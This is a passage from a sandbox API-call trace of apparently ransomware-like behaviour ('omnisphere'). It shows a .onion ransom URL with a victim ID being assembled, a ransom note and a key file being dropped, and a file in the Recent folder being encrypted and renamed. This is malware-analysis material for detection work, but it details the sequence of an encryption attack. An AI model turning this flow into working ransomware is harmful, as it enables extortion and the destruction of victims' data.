(HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2040 [0126.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2040, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.276] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.276] GetProcessHeap () returned 0x1600000 [0126.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b01e8 [0126.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b01e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.276] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.276] GetProcessHeap () returned 0x1600000 [0126.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf750 [0126.276] PathCombineW (in: pszDest=0x16bf750, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.276] GetProcessHeap () returned 0x1600000 [0126.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d03a8 [0126.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.276] WriteFile (in: hFile=0x28c, lpBuffer=0x16d03a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d03a8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.276] CloseHandle (hObject=0x28c) returned 1 [0126.276] GetProcessHeap () returned 0x1600000 [0126.276] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.276] GetProcessHeap () returned 0x1600000 [0126.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.276] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.277] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.277] CloseHandle (hObject=0x28c) returned 1 [0126.277] GetProcessHeap () returned 0x1600000 [0126.277] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.277] GetProcessHeap () returned 0x1600000 [0126.277] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb28 | out: hHeap=0x1600000) returned 1 [0126.277] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca0e4ea, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2214f461, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2214f461, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0xd3, cFileName="JfGRcMfkA.lnk", cAlternateFileName="JFGRCM~1.LNK")) returned 1 [0126.277] GetProcessHeap () returned 0x1600000 [0126.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656e08 [0126.277] PathCombineW (in: pszDest=0x1656e08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="JfGRcMfkA.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk" [0126.277] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jfgrcmfka.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.277] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=880) returned 1 [0126.277] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] GetTickCount () returned 0x115f837 [0126.278] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.279] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.279] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.279] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.279] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.279] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x288 [0126.279] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x1480000 [0126.279] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0126.280] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.280] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.280] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.281] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.282] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.282] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0126.282] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.282] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.283] GetProcessHeap () returned 0x1600000 [0126.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16cb468 [0126.283] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jfgrcmfka.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jfgrcmfka.lnk.omnisphere")) returned 1 [0126.283] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk.omnisphere.id" [0126.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jfgrcmfka.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.284] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.285] CloseHandle (hObject=0x3c0) returned 1 [0126.285] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.285] CloseHandle (hObject=0x288) returned 1 [0126.285] SetEndOfFile (hFile=0x28c) returned 1 [0126.285] FlushFileBuffers (hFile=0x28c) returned 1 [0126.290] CloseHandle (hObject=0x28c) returned 1 [0126.290] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JfGRcMfkA.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.290] GetProcessHeap () returned 0x1600000 [0126.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.290] GetProcessHeap 